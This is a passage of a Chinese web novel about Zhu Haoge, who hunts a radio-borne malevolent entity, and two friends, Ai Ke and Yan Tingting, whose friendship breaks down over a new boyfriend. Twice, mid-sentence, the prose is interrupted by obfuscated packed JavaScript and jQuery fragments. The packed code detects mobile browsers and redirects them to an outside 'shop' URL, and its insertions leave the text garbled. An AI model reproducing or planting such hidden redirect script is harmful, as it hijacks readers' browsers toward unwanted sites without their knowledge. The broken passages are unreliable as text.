卫帆听得头皮发麻,却又不知为何无法立刻把这些话归类成胡言乱语。她想起近几周局里确实接手过好几起很怪的案子:跳楼前还在和人正常通话的白领,在自家厨房里突然捅死父亲又拼命说不是自己干的大学生,还有用斧头砍下自己脑袋的无业游民... 可那也只是怪,怪不代表超自然。 “你有证据吗?”她问出这句话时,自己都觉得声音有点发干。 祝好歌缓缓看向她,眼神里没有讥讽,只有一种近乎疲倦的了然,“没有。”她说,“或者说,没有你们能用的那种证据。” 这句话实在太像疯话应有的结尾了,可偏偏她说得这么冷静,大概她也知道自己眼下说的这些东西一旦放进笔录里,只会变成精神状态存疑的佐证。 “那你为什么告诉我?”卫帆轻声问。 祝好歌回道:“因为你刚才说,陈远这样死掉也算遭了报应。可如果你真的这样想,就该知道,报应不会只停在他这里。” 卫帆还沉浸在思辨于“这个女人是不是疯子”和“啊?刚上班就让我遇到灵异事件了吗”的头脑风暴之中,那边两个女孩对着这里探头探脑起来。 “哎,你是昨天那个女士!”其中一个女孩激动地挥起来手。 “不要在这里大吵大闹,严肃一点!”一个正在办公的警员咳了一声。 “那,你们认识的话就一起出去吧,我这边还在忙...”正好,解决了卫帆不知该如何回应的麻烦,赶紧把祝好歌给推了出去,狼狈地小跑回到之前的会议室。 祝好歌也不指望卫帆能一下子就接受她的话,所以抬眼看过去喊她的那两个女孩,她们分明是昨晚的那两个人。 3. 控制 和昨晚相比,艾珂像完全换了个人。昨夜那身为了讨好一些受众而故意穿的不合身的服饰都不见了,取而代之的是一套洗得很柔软的浅灰色棉质上衣和宽松长裤,头发也没再做些画蛇添足的造型,只简单地扎在脑后。她眼下还有明显的青色,嘴唇也有些干,整个人看起来精神萎靡。 距离昨夜她被闺蜜拉走到现在不过八小时,也不知道她有没有完整地睡上一觉,就被拽到了这里,如今虽然清醒了,却也因此显得格外疲惫。知道自己昨夜做了蠢事的羞赧也让她不太敢抬眼看着祝好歌,一直在无意识地攥着身侧女人的袖口,脸上的表情也是又尴尬又感激,像是想说什么,又不知道该怎么开口。 但她卸掉了那些不适合她的装饰,好歹让她的身体状态舒展开来许多,人总算不至于紧绷到要昏厥过去。 身边那位就是昨晚把艾珂接走的闺蜜。她穿着昨晚一样的衣服,站姿很直,留着超短发,露出干净利落的一张脸,眉骨和鼻梁的线条都很锋利,说话和动作都带着一股不容置疑的劲儿。明明是她先认出来的祝好歌,却还是当着后者的面从上到下又看了她一遍,随即干脆地笑了一下:“你好,我叫严婷婷。昨晚多亏你,不然这个傻子今天不知道要怎么才好。” 当着外人的面说艾珂是“傻子”,她的语气并不轻蔑,只是带着浓浓的恨铁不成钢。被这样骂了,艾珂也不恼,瓮声瓮气地小声抗议道:“婷婷…” “你别叫我。”严婷婷瞪她一眼,“我听见你说话就来气。” 话是冲着艾珂说的,目光却已经转回祝好歌身上:“我们今天本来是来报案的,想让昨天那个臭男的长个教训,结果刚才里面的人跟我们说,他已经死了,嘶...你说巧不巧?” 大概是连自己都觉得这件事实在太荒唐,严婷婷顿了顿,唇角微微抽动了一下:“昨天晚上才见过的人,今天就死了。虽然我觉得他死不足惜,但我现在还是有点怀疑自己是不是还没睡醒。” 艾珂站在旁边,神情则更恍惚一些。她能这么快就调整好自己的心态还出现在这里,显然完全就是被严婷婷给拎过来的,以至于眼睛里还浮着一层薄薄的惊惶。可那惊惶之下,在严婷婷帮她说出“死不足惜”后又闪过一点极隐秘的快意。只是这种“那个差点伤害自己的人遭了报应”的轻松,与“怎么会这么快又这么巧合地发生”的不安混杂在一起,让她有些无所适从。 “诶,对了,你为什么在这里?哦还有,你叫什么名字?”严婷婷说话速度很快,机枪炮似的,也不等祝好歌回答,她又戳着艾珂说,“你跟人家说声谢谢啊。” 艾珂这才讪讪地笑了一下,目光有一点躲闪,轻轻开口道:“昨天…谢谢你啊。” 祝好歌点了下头:“没事。” “什么叫没事?”严婷婷立刻接上,语速快极了,生怕艾珂下一秒又开始习惯性把一切轻轻揭过去,“要不是人家在旁边守着你,你昨晚就被欺负了。你知道吗?你昨天都没有行动能力了!” 艾珂低着头,手指无意识地绞着袖口,乖乖挨骂:“嗯。” “嗯什么嗯?”严婷婷简直要被她这副样子气笑了,“你就知道嗯!昨晚跑出去的时候怎么不先嗯一声让我知道?” 祝好歌无心插手这对好姐妹之间的家务事,略略点头示意抬腿就想走,严婷婷却已经一抬手,极自然地拦住了她:“正好晌午了,一起吃个早午饭吧。你帮了她,这怎么说也是个人情,何况今天又这么快见了面,合该我们请你的。” 话说是要感谢,她却一点也没有要征求意见的意思,直接通知了祝好歌似的——到现在她还没能耐心地问出祝好歌的名字呢。艾珂抬起头,小心翼翼地看着祝好歌,也希望她能答应。祝好歌独来独往惯了,本不习惯和陌生人多待,可是她也不太擅长拒绝别人,最终还是同意了。 三个人去了附近一家新开的专门做早午饭的小餐馆。店面不大,里面布置得还蛮精致,祝好歌意识到这里是艾珂会喜欢的风格,果然,艾珂如数家珍一样地推荐了一些菜品,祝好歌什么都行,就全听她的。这样安排之后,艾珂的精神头也好了点,看上去自在不少。 严婷婷啧了声,帮艾珂把她点的冰美式换成了热杏仁奶:“养养胃吧。” 听见这句,艾珂有点不好意思地对着祝好歌轻轻笑了一下,她已经习惯了对方这种嘴硬心软的照顾方式,但在外人面前还是会尴尬。 至于严婷婷,她毫不在意这些细枝末节的事情,一直在引导着话题,不论说什么都会导向去数落艾珂:“你说你到底图什么?分个手而已,搞得像天塌了一样。那种烂男人你早该庆幸发现得及时,结果你倒好,把自己涂成那样还跑去酒吧买醉。你知不知道你根本不是能去那种地方的人?你往那一坐,脸上就写着‘快来骗我’四个字。” 艾珂被她说得耳朵都红了,却也不反驳,只是低头吃了两口米饭,小声地说:“我怕太打扰你了。” 她说话很慢条斯理,声音细细的,不像昨夜那样情绪一上来就破碎失控。现在冷静下来,艾珂整个人都有一种很柔和的迟缓感,做任何表达之前都先要在心里反复捋顺,再尽量用不冒犯任何人的方式讲出来。 “我知道去酒吧不适合我。”她抬起眼,冲祝好歌又羞涩地笑了一下,带着点讨好的意图握住严婷婷的手,“其实进去以后我就后悔了。那里好吵,人看着也都怪怪的,酒也不好喝,坐在那里我也一直觉得自己很怪。可都去了,又不想立刻回家,就硬撑着。” 祝好歌静静看着她。 艾珂身上有一种很少见的、近乎天然的柔软。说是没脾气也可以,说是无法适应社会的愚蠢也可以,大概她从小就被要求学会体谅和忍让,还有压抑着不舒服好让它变得没关系。 这类人并不总让人喜欢,尤其不让同性喜欢。没有人会愿意自己的同类过于软弱可欺,因为这种人会间接地招来对自身整个群体的轻视。 哪怕艾珂本人也许并没有什么人品上的大问题,身边的人和她相处时不免会生出一种担心自己要负担起保护她的重任的焦虑。 但严婷婷不一样。她享受着照顾艾珂的感觉,她简直是像母亲一样地在教导艾珂,甚至代替她做许多本该艾珂自己才应该主动去做的事情。 这有点像共生关系,但是为什么呢?祝好歌知道这顿饭的目的就是让有着强烈倾诉欲的严婷婷好好地对着一个看似安全的陌生人说道一番。 没多时,艾珂起身去了洗手间。她走后,严婷婷总算是找到了机会,往椅背上一靠,长长出了口气,脸上飞扬的五官都松落下来一点。 “她家里就是把她往‘最好的妻子’那个方向养的。”严婷婷用筷子拨了拨碗里的菜,语气里带着一种说不出的烦躁和怜惜,“她还是独生子呢,可她家从来没把她当宝贝女儿养过。她妈爸总觉得,女孩子就该温柔体贴会照顾人,还要会看人脸色会替别人着想,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459173|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才能‘嫁’得好。” 将“嫁得好”三个字咬重了音,严婷婷满脸嘲讽:“最可笑的是,她家还总把这套东西包装成为她好。说什么女孩子这样日子才能过得顺利。结果顺来顺去,就把她顺成了现在这样。别人先开口刁难的话,她第一反应不是保护自己,却是先想是不是自己哪里做得不够好。那些垃圾都烂成那样了,她还会想是不是对方最近压力太大。” 她说着说着,捂着脸再三地叹气道:“她会被生生吃掉的。不是被哪个具体的男人吃掉,就是被这个世界专门挑她这种人下口的地方吃掉。” “所以你才一直这样督促她?” “督促?”严婷婷像是被这个词逗了一下,“我这已经不是督促了,我根本就是在替她兜底。” 她把筷子往碗边一搁,整个人的锐气都更明显了些:“我一天不盯着,她就能又开始替别人找理由。这次这个渣男闹成这样就不说了,她之前还有一任也劈腿,都被我抓到实锤了,她还在那儿找补。你说我能怎么办?我要是不凶一点,她怎么长记性?好在她还是怕我生气的。” 说到这里,她又突然安静下来,眼神里掠过一点懊悔。 “可这次也怪我。”她低声道,“最近我骂她骂得太频繁了。她本来状态就差,被我一逼,反而不敢跟我说实话,昨晚才会背着我偷偷跑去那种地方。” 祝好歌看着她,淡淡道:“可你不能管她一辈子。” 严婷婷苦笑了一声。 “我知道。”她说,“问题是,我就是因为她这种温柔善良、总能体谅别人的劲儿,才慢慢和她成为好朋友的。既然她是这样的一个人,那我就不可能在另一方面又要求她立刻变得强硬果敢啊。我能做的,也只能是努力拉她一把,哪怕再掉进陷阱里,也总能有上来的机会。” 这话说得很矛盾。 严婷婷显然是个个性很强、控制欲也很强的人。她说话快,下判断也快,情绪和立场都鲜明,遇事本能地想替自己和身边的人做决定,好像只有这样才能抵抗掉那些四处渗进来的混乱和伤害。她对艾珂的好是真的,可这种好里也掺着很重的“我认为你现在很糟糕”的意志。她很清楚像艾珂这种女孩会吃怎样的亏,所以忍不住处处介入,处处挑刺,处处提醒,生怕哪天自己一个没看住,对方就真的沉溺在深渊里。 可控制本身也是会让人窒息的,而严婷婷未必不知道这一点。 祝好歌垂下眼,不想去说教她什么。她们两个人的友谊不是一天两天变成这样的,有时越不健康的关系却反而越牢固。这不该由任何一个外人来提出异议——何况,说了也没用。 没再多聊几句,艾珂回来了。坐下时,她显然察觉到两人刚刚在聊自己,早已习惯似的脸上没什么被冒犯的不快,只是有点无奈地开玩笑:“你们是不是又在说我坏话?我真的知道错了。” “不是坏话,是事实。”严婷婷立刻接上。 轻轻叹了口气,艾珂也不争,只低头继续吃饭。她这副样子让严婷婷又气又想笑,最后也只能给她夹了一筷子牛排,嘴上仍不饶人:“吃。你为了那男的减肥都减伤了,再不吃你就真成一阵风吹得走的纸片了。” 艾珂乖乖“嗯”了一声。 这餐饭到底还是在严婷婷喋喋不休的念叨声中结束,最后三人互换了联系方式,这事本告一段落。 两天后,艾珂却单独给祝好歌发了消息,想约她出来见面。 4. 白鸽 广场的地砖被阳光照得发白,热度从脚底一层层往上漫去。喷泉在中央断断续续地喷着水,水雾被风一吹,细碎地落在空气里,洒下一点凉意。成群的白鸽落在广场边缘,有的低头啄食,有的拍着翅膀短暂地腾起又落下,羽毛在光下泛着一层柔软的亮。 几个孩子蹲在地上,手心摊开,耐心地呼唤着鸽子到手上来吃。鸽子不怕人,甚至有些大胆的直接踩在孩子的鞋面上,歪着头去啄掌心的面包屑和玉米粒。孩子们咯咯地笑,笑声轻而亮,初生的阳光一样干净。 艾珂站在不远处,举着手机,笑得比孩子还要开心。 她今天穿的是很简单的浅色套装,布料轻薄柔软,随着她的动作轻轻晃动。她蹲下身去拍一只停在喷泉边缘的鸽子,又忽然站起来追着另一只飞起来的影子按快门。她的笑容很自然,单纯地因为眼前的景象而愉快,整个人都从前几天的阴影走出来了。 每次出现,她都给祝好歌留下了不同的印象。 “好可爱啊。”艾珂忍不住说,声音里带着一点轻快的气息,又有点撒娇似的拖长音,“你看它们一点都不怕人。” 她拍完一张,转过头来,下意识地去找祝好歌的位置。 祝好歌就站在她身后不远处,没有关注到她的动向,而是看着那一群鸽子。孩子们在视线里将鸽子围在中间,白色的翅膀偶尔掠起,带起一阵风。 见状,艾珂收起手机,走过去,很自然地挽上她的手臂。她的动作很轻,没有侵略性,还带着一点小心翼翼的试探。祝好歌没有直接挣开。 “你不喜欢这里吗?”艾珂偏头看她,“怎么看起来不太开心?” 看了一眼艾珂,又看了一眼不远处那一片白色的羽毛,祝好歌平淡地叙述道:“鸽子是天上的老鼠。” “啊?” “虽然总被当作和平的象征,但实际上,它们传播的病菌和寄生虫种类很多。粪便里也有各种致病源。”祝好歌的目光依旧停在那些飞来飞去的白色影子上。 艾珂顺着她的视线看过去,过了几秒,又轻轻地“啊”了一声。 她没有反驳,但稍微收紧了一点挽着祝好歌的手,努力消化这句话。“你总是这样看事情吗?”她问。 “就是…别人看到的是‘好看’的那一面,你会先想到它不好的地方。”艾珂补充道。 祝好歌没有立刻回答。她不知该从何说起,她也感到迷茫。 广场的风比刚才大了一点。 白鸽被人群惊起又落下,一层被不断掀开的薄布一样,将阳光在地面上碎成一块一块的,晃得人眼睛发酸。 这样的安静让艾珂感到不安,她只好不断地找着话题:“你不像是本地人。” 祝好歌“嗯”了一声。 “那你为什么来这里?”艾珂继续问,“是工作吗?还是旅行?” “有事情要办。”祝好歌说,没留任何解释的余地。 艾珂却像听到了什么很厉害的答案一样,眼睛微微亮了一下。 “这样很好。”她说,声音里带着不加掩饰的羡慕,“有自己要做的事情,有目标,有方向…不像我。” 终于,话题转向了她自己。 “我好像一直都不知道自己要什么。”她轻轻笑了一下,那笑容很软,也很无奈,“读书的时候是家里人让我读什么专业,我就读什么;工作也是她们觉得稳定就好,我就去做。谈恋爱…也是对方对我好,我就觉得应该继续。” “可后来我发现,好像不是这样的。”她低头看着脚边的影子,“我只是习惯有人告诉我该怎么做而已。” 被祝好歌的目光扫到,艾珂下意识地又笑了一下,她攥紧了握着祝好歌胳膊的手:“你会不会觉得我很没用?” 这些问题,祝好歌一概不知要如何回答。 当然,艾珂也没等她回答,自顾自地继续说下去,她和严婷婷在这一点上倒是很像,时机合适的时候都喜欢自说自话。 “其实我也知道自己这样不太好。”她慢慢地说,“我也想过要变得更独立一点。比如自己做决定,不用每次都问别人;比如遇到不舒服的事情,可以直接说出来,不用一直忍。” “可是我一旦真的要去做,就会很慌。”她抬起头,眼神里有一点藏不住的无助,“我会一直想,我这样是不是不对,是不是会让别人不高兴,是不是我哪里考虑得不够周全…到最后就什么都做不了。” 听到这里,祝好歌开口打断了她:“你今天约我,就是想说这些吗?你是想让我替你做什么决定吗?”她的语气很直接。 艾珂明显愣了一下,她大概没有想到祝好歌会这样把话挑明。她的表情有一瞬间的空白,还没来得及把自己刚刚那一层层铺开的情绪收回来,就被人一下子点到了最核心的地方。 她张了张嘴,又合上,眼神有点慌乱地闪了一下。“我…”她迟疑了下,最终还是没有否认,顺着祝好歌的疑问继续说,“我确实是有点事情想问你。” 祝好歌等她继续。 艾珂低头看着自己的手指,在反复组织语言。 “你觉得…严婷婷这个人怎么样?”她终于问出口。 怎么是这样的问题?祝好歌的眉头微不可察地动了一下。 “我只见过她一面。”她说,“没什么好看待的。” 艾珂的手指有一次收紧,她显然并不满意这个答案,却又不知道该怎么反驳。她抬起头,看着祝好歌,眼神里带着一点急切,又带着一点近乎哀求的意味。 “可是我…我有点不知道该怎么办。”她说,声音比刚才低了很多。 “我真的很感激她。”她继续说,“如果不是她,我可能早就被那种人伤得更严重。她帮我挡了很多事情,也一直在提醒我。” 她顿了一下,有些难以启齿:“可是她…也一直在批评我。那天,你也看到了...不管我做什么,她都会觉得我做得不够好,不够果断,不够清醒。” 她抬起眼,眼眶有一点红,用无辜又湿漉漉的眼神深深地望着祝好歌:“但我知道她是为我好。” 她怕自己刚刚的话显得忘恩负义,揩了揩眼睛,继续说:“我也知道她说的很多都是对的。可是我真的很累。” “我好像永远都达不到她的要求。她希望我更坚强一点,可是我又不可能一下子变成那样。我一边在努力,一边又总是在被她否定。她又不能真的做些什么,除了陪我说话...” 她停了一下,终于鼓起勇气:“所以我就在想…”她看着祝好歌,语气里带着一点试探,“是不是…干脆和她断掉,会更好一点?” ...就为了这个吗?祝好歌有点失望。 她原本以为,艾珂把她叫出来,是想找一个新的依靠——一种更安静、更不那么压迫的“朋友”。她甚至已经预想到对方会一点点向自己靠近,试图把某种情感的重量转移过来。 却没想到,她要的只是一个“裁决”。一个来自另一个大约给她以行动力更强感觉的人的定论。 可是凭什么她会觉得这样一个近乎陌生人的想法,会比她自己的感受要更有说服力? 一群孩子忽然从广场另一头冲了过来。 她们叫着笑着,一股脑地冲进鸽群里。白鸽被惊得一片片腾空而起,翅膀扑扇的声音密密麻麻地叠在一起,像一阵骤然炸开的风。羽毛在空中飞散,光影一下子乱了。 祝好歌的视线被那一瞬间的白色晃了一下。 她忽然意识到了什么。 “是谁让你突然开始质疑严婷婷的?”她问。 艾珂的眼神闪了一下,她张了张嘴,不自然地笑笑:“没什么人。就是我自己觉得太累了。”她的手却在不自觉地攥紧裙摆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459174|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像艾珂这样的人,本质上是不会主动断掉任何关系的。她可以忍让退缩,可以一再降低自己的边界,但除非被逼到彻底崩溃,再被外界推一把,她才可能做出“切断”这种带有强烈主动性的选择。 之前是严婷婷在做推她的那个人,现在又是谁在做离间她和严婷婷的那个推手? “不要听她说什么,也不要问我怎么看,你真的愿意舍弃掉严婷婷这个朋友吗?你和她在一起的那些时光,真的只有痛苦吗?”祝好歌急切地说,这还是艾珂自从结识她以来第一次看到她变得激动。 这份认真让艾珂束手无措,她慌乱地说:“好的,我明白了,我会好好和婷婷说一下的,改变一下我们两个之间的相处模式,毕竟我也是个独立的人。” 但祝好歌知道,一旦被她盯上,意志坚定的人也许能够逃脱,而艾珂这种几乎没什么自我,软弱的本我又牢牢占据着顶点的人,只会被毁灭掉。 “她最近确实也是太着急了,我是不对,不该就这样去想着切割我们的关系。”艾珂瞅着祝好歌的脸色,不断地道歉。 祝好歌知道她这样说不代表会这样做,不如说,越是这样说,可能越是反着来。拿她实在没办法,祝好歌也怕火爆脾气的严婷婷直接找上了艾珂,反而刺激了她,只好在分开后的晚上,约严婷婷夜半来见面。 ——她只会在午夜零点后开播。 严婷婷还真是个精力充沛的人,一听这位好心女士喊自己出门,立刻就赴约了。 “小祝,我在这儿!”严婷婷摘下耳机,对着祝好歌大力地认真地挥着胳膊。 “听着,我对你们之间这种错综复杂的情谊不感兴趣,但是既然你之前那么多次成功地拯救她,那么这次,你肯定也能做到。”祝好歌张口就让严婷婷立刻带自己去艾珂的家里。 这番话搞得严婷婷云里雾里的,可一想到可能艾珂遇到了麻烦,二话不说就打车去往艾珂家。 虽然艾珂的妈爸不以女儿为荣,但毕竟家庭条件很好,还是给了她一套在她名下的公寓。据严婷婷所说,艾珂才从前任的租房里搬回来,家里还有点乱,这几天应该一直在忙着收拾屋子才对,应该没空听什么人的挑唆。 “她是自己做家务,还是找保洁阿姨?”祝好歌问。 “这家伙可‘贤惠’了。我经常劝她,对她来说家里的钱花的越多越赚,因为那些钱最终不会是她的,她都不听,觉得她作为女儿就是要孝顺,要听话懂事,凡事都要自己做才好。”严婷婷翻了个白眼。 “那她有没有什么一个人干活时习惯?” “她...她喜欢放着男主播的直播间当背景音算吗?”严婷婷的语气尖锐起来,“那群尖嘴猴腮的丑男有什么好看的,一个个气泡音都油腻死了,只要拉着另一个男主播说点卖腐的话就能收割傻子们的钱,我也是服了。” “她听电台吗?” “电、电台?”严婷婷愣了下,眨巴眨巴眼睛,语气迟疑,“现在还有人听这个吗?”但看祝好歌不像在瞎问,严婷婷仔细回忆了一下说:“她也喜欢听广播剧,手机里确实有很多电台播客的app。” 那就是了。 到了地方,祝好歌悄悄地拿出自己的收音机,戴上耳机,一边陪着严婷婷好保护她的安全,一边悄悄地调试着信号。 洪猓...我知道你在附近,只要让我进入你的直播间,我就—— 耳机里不断传来各种跳台的杂音,祝好歌的心脏怦怦直跳,接近了,接近了...一阵刺耳尖锐的噪音穿过耳道,祝好歌赶紧往回再慢慢地调整。 好像是有一个女人的声音,就是这里吗? “...婷婷?你大半夜地怎么来了?”艾珂睡眼惺忪地打开门,很意外地看着门外的严婷婷,和祝好歌。 后者也很意外地看着艾珂,因为她的身后站着一个陌生的男人。 5. 恶种 电台是一种利用无线电波在空间中传递声音的系统。声音先被转换成电信号,再调制到特定频率的电磁波上,通过发射天线传播,由接收设备把信号还原为声音。 正常情况下,接收端要想听到它,不仅需要在频率上恰到好处的对准,而且同时还要处在信号足够强的范围内。 但在现实环境里,信号会被建筑物反射、折射,甚至被干扰。因而有些地方虽然靠得近,却会出现“盲区”,有些地方反而会因为多重反射,形成一个异常稳定的“驻波点”。 所以常常会有爱琢磨电台的发烧友竟然能意外调试出来外国的节目甚至是所谓那种间|谍用来监听的线路。 很有意思,不是吗? 她的电台也是一样。只是发射源不是设备,她本身就是发射塔。 洪猓到底是什么东西,祝好歌不知道,但是她的力量不是无条件的。她想要连接一个人,加入到那个人的信号线路之中,需要她本人的亲自降临。 至于为什么要通过电台这种限制颇多而且还过时的手段——祝好歌并不认为洪猓没有别的途径来控制这些人——虽然不愿意相信,在不断的调查之中祝好歌却不得不承认,这可能只是因为洪猓喜欢这种方式。 祝好歌曾把她当成某种恶灵或者什么未知的可以扭曲人精神的可怕存在,既然如此,那也没有办法,人如何能与这种没有自主意志的邪祟作对呢?只能自认倒楣。 可是就在她要放弃追踪后,新的线索却显示这个洪猓有着自己的偏好和甚至称得上是恶俗的趣味。这让祝好歌内心的恨意再也无法止息了。 凭什么? 凭什么?? 凭什么。 祝好歌调试着电台,她确信自己在某个频段听到了那熟悉的声音。是的,没错,她就在这里—— 她会把艾珂心里的那一点小小的恶意变成无法挽回后果的灾难,哪怕这个懦弱的蠢女人的人生本可以继续这样龟缩下去。 可是,眼前的艾珂摘下耳机,甜美的女团歌曲从中漏音出来。她看到来者是严婷婷,脸色先是一松,本能地要露出一个笑,可下一秒,她的目光落到祝好歌身上,那笑就僵住了。 “你们…怎么在一起…”她的声音一下子乱了,呼吸急促起来,她明显没有准备好面对这种场面。 “他又是谁?”严婷婷一如既往地不回答问题,而是先发问。 艾珂这才又想起来她的麻烦何止是担心祝好歌把她下午才讲过的对严婷婷的不满告密给了本人,还有身后这个。 是她卖着嗲说半夜有人敲门她会害怕,才哄着他来陪她开门的——早知道这样,就先看一下可视门铃了——但是为了能让他来家里“保护”自己,她假借最近治安不太好的理由,撒谎说门铃坏掉了,一个人会害怕。 至于那个男的,艾珂慌张地想要挡住他,奈何他个子很高,肌肉线条夸张,此刻正裸着上半身,一副嚣张的样子挺着肉肉的大胸脯看着门外的严婷婷和祝好歌。 这不是严婷婷认识的人。 “你谁啊?”严婷婷的态度几乎是瞬间就炸了。 艾珂的脸又一次瞬间透红,但她依然下意识地往那男人身后靠了一点,小声说:“他…他是…” “她男人。”男人说,语气像毛蛋小说网里常见的大男主一样霸道。与此同时,他的眼神明显在打量祝好歌和严婷婷,带着一种很不友好的防备。 严婷婷冷笑了一声,眼睛要喷出火似的看着艾珂:“你什么时候有了个新男人?” 艾珂站在两人中间,整个人像被撕开了一样一会儿看看严婷婷,一会儿又看那个男人,脸上的表情慌乱又无措。 “他是…这两天认识的。”她终于说出口,声音小得几乎听不见。 严婷婷愣住了,反应过来艾珂明明才刚刚差点被陌生男人给欺负,就这么把才认识的又一个男人给领回了家,一字一句地说:“你再说一遍?” “我不是…我只是…”艾珂语无伦次地解释,“我、我最近去健身房...我看好歌姐这么强壮,很羡慕她,所以我才去那里...但是我太笨了,我一个人不敢...然后他就主动帮我。对了,他是教练,他还不收我钱呢!他教得可好了...他,他还听我说了很多事情…他说他可以理解我。” 那位健身男教练站在她身后,常年摄入过量肌酸导致的大脑迟缓让他这么半天才总算琢磨出来了门外二人的身份,脸上的神情奇妙起来,在理直气壮和心虚中来回切换。 等到确定了艾珂竟真的在好朋友和自己之间选择了自己,他大声地说:“她是受害者。你们这些人只会指责她,从来没有真正关心过她的感受。别以为我不知道你们这些女的怎么想的,不过就是觉得她可爱柔弱,就看不得她被男人爱!” 严婷婷简直要气笑了:“你才认识她几天?你以为你是什么东西?”她冷声问。 “时间不重要。”男教练说,“重要的是,我会一直站在她这一边。” “你站在她这一边?那我告诉你,如果我现在报警说你私闯民宅,她就会站在我这边!”严婷婷气急了,一把抓住艾珂。 是啊,不管怎么样,不管艾珂在性缘上多么不像话,她最终总会—— 可是祝好歌看到艾珂虽被严婷婷拽得偏到她一边,眼神和脑袋不自觉的倾向里却还是在找男教练。她甚至期待地看着后者的嘴巴,渴望他替她说几句。 可惜男人看不懂这些,他所剩无几的察言观色的能力绝对不会用在这个见了一面就爱他爱得不得了的女人身上,于是他当真以为艾珂会和严婷婷在一起反手对付他——他也不想想,就算严婷婷真的报了警,也得有证据吧。 他就这样在艾珂期待的目光里肩膀一耸,后退了一步,说:“宝宝,你和你的好姐妹聊天吧,我一个大男人,在这里不合适,我先睡了哈。”说完,转身就进了卧室。 门“砰”地一声关上,咔嚓就锁上了。 艾珂整个人僵住了。她愣愣地看着那扇门,完全没反应过来。 “艾珂,你看看这是一个什么人啊!”严婷婷嘲讽道,“哪怕现在就从这里离开,我都算他有点骨气,他这样分明是怕今天一走,明天你就不让他回来了。” “你别说了!”艾珂尖叫道,把严婷婷吓到了。 严婷婷的表情,很快从瞬间涨起来的恼怒变成了一种极阴沉的失望。 “不是的…不是这样的…”艾珂却又猛地抓住严婷婷的手,眼泪一下子涌出来,“我不是那个意思,婷婷,你原谅我吧,我没有——我只是觉得他不一样…” “所以哪里不一样?”严婷婷问,还愿意继续向艾珂递出橄榄枝。 “他听我说了所有事情…他没有厌弃我…”艾珂哭着说,“他说以后会有他来爱我…” 她说到这里,声音已经断断续续。 “我只是…我只是动摇了一下…”艾珂哽咽着,“你别听她说...我没有真的想和你断掉…我只是想问问别人…你、你不要听这个人乱讲...” 她的手抓得很紧,怕一松开就什么都没有了,她间或瞪一眼祝好歌,认定是后者在拨弄是非。 “我这次真的有在改变…”她依然急切地对严婷婷说,“你看,我这次没有搬去他家住,是我把他带到我这里来的。我也没有花他的钱,是我给他买东西…” 说这些的时候,艾珂眼神甚至带着一点小心翼翼的“求认可”。 “婷婷,我真的在变好,我比之前独立,我清醒了很多,我真的有好好地按照你说的那些事情来做,只是...我还不太习惯,所以有点迷茫...”艾珂说。 她确实意识到了问题——知道不能完全依附,也不能一味忍让,独立才是最重要的。可她对“独立”的理解,却又跑偏到另一种诡异的角度,好像主动“献身”就能掌握主动一样。 严婷婷看着她,不住地摇头。 “你要和我断?你说你要和我断?”严婷婷平静地说。 “不、不是...”艾珂又看向祝好歌,这次的眼神里满是哀求,希望她能替自己说点好话。 但严婷婷已经彻底冷漠下来。 “你说你把所有事都告诉了他,那也包括我的事对吧,”严婷婷恍然大悟,“所以,他才会让你和我断开,而你,也就真的愿意听信他的话。至于我这几年做的所有事,每次支撑着你解决你家里的那些恶心的事还有你那些感情上的破事,所有这些对你来说,还不如一个只见过两天的男人。” 艾珂摇头,哭得说不出话。严婷婷却已经抽回了自己的手。 “行。”严婷婷说。 懒得再骂了,多说一句也是浪费,严婷婷“砰”地一声关上艾珂家的门。 屋子里只剩下艾珂的哭声,她整个人像被抽空了一样,慢慢地瘫坐在地上,肩膀一下一下地发抖:“为什么,怎么会这样...” 祝好歌没有心情去看自作自受的艾珂,视线缓缓移向了那扇紧闭的卧室门。 她听到了洪猓的声音,她曾多次距离洪猓这么近过,所以她知道。那么既然挑拨艾珂思绪的不是洪猓,而是那个莫名其妙出现的男教练,也许,他才是那个被洪猓盯上的人。 洪猓不会因为性别而筛选猎物,但是她有时会只杀男人,或者只杀女人。目前为止在这座城市出现的所有古怪的事情,核心都是男性。 陈远——酒吧——艾珂——男教练。 这个男的轻浮、简单,不像是洪猓的目标,但有时蠢人比恶人还要更坏,就像现在,他已经让一个没有一点主见的女人和自己最好的朋友闹掰了。 祝好歌几乎肯定是他了。她旁若无人地就要闯进去,她的心从未如此滂湃过,从来到这座城市开始,她就有着强烈的预感——在这里,就是这里,她一定会抓住洪猓。 “你别碰!”艾珂的声音,骤然炸开。 艾珂从地上蹭地站了起来,眼睛红得发亮,整张脸都涨着一种不正常的血色,某种被压抑太久的情绪在这一刻突然冲破了所有的边界。她的呼吸很重,胸口起伏得厉害,整个人都被一股看不见的力量推着往前。 这和喝醉了酒以后在酒吧里大喊大叫“男人全都该死”的时候是一个状态。 “都怪你!”艾珂几乎是吼出来的,她指着祝好歌,手在发抖,声音却越来越高,“如果不是你——如果不是你那天晚上突然插手——我和婷婷根本不会变成这样!” “如果他真的对我做了什么——那又怎么样?!”她的声音开始发颤,“至少婷婷不会走!她会更心疼我!她会留下来!她不会像现在这样——直接离开我!” 刚说完这句话,艾珂自己都愣了一下才反应过来在说什么,可她却更激烈地往前一步。 “还有你今天!”她几乎是嘶喊,“你为什么要把她带过来?!你凭什么替我做决定?!如果不是你,她根本不会知道这些!” 